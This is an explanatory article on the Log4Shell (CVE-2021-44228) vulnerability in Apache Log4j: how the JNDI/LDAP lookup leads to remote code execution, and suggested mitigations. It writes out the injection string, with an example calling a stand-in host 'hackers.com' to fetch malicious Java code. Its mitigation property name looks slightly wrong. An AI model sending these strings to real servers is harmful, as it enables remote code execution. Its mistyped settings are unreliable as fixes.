Introduction to Log4shell
As we all know that end of the last weekend ie., on Friday, December 10, the entire world came to about the new Zero-day vulnerability in the Apache Log4j. This vulnerability has been reported with the (CVE-2021-44228) and considered as a Critical score with a CVSS score of 10.
Log4j is also named as LOG4SHELL vulnerability which was discovered as the popular java logging library that results in Remote Code Execution (RCE) by logging to java strings using .jndi values.
What is log4j and how this works?
Log4j is an open-source Java-based logging framework incorporated into commonly used Apache servers and web application servers.
Most of the common services using Java-based logging cloud services like iCloud, Steam, and applications like Minecraft have already been vulnerable to this Zero-day. And anybody using these Log4j based applications is more in danger in terms of exploitation of the applications.
For example, Log4j Scenario,
Once the attacker gains access to the vulnerable servers, can control the log messages to execute the arbitrary code from LDAP servers when message lookup services are enabled. As a result, the hackers create a craft that would make the utility remotely download and execute the payload from the craft. It mostly uses the combination of JNDI and LDAP : ${jndi:ldap://<host>:<port>/<payload_path>}.
Exploit Attack Log4j Scenario
- Once the attacker inserts the JNDI lookup in a header field which needs to be logged.
- Then, malicious string ({$jndi:ldap://hackers.com/xy}) is passed to log4j service to logging.
- Once the Log4j interacts with the string and queries the malicious LDAP server.
- LDAP server responds with an directory information that contains the malicious Java class.
Example: DN:<payload_name>: javaClassName: <payload_class_name>
javaCodeBase: hackers(.)com
objectClass: javaNamingReference
JavaFactory: <payload_filename>
5.Java downloads the malicious java code and executes the same.
Mitigation Log4J JNDI attack
- Disable the remote codebases.
- Block the malicious request with WAF devices.
- Disable JNDI lookups by adding the “log4j.format.msg.nolookups=true” to the global config of the web application servers.
- Use the web application vulnerability scanner to monitor the system.
- Finally, update the system to version log4j 2.15.0 of log4j released with the latest updates as by default the JNDI logging has been disabled.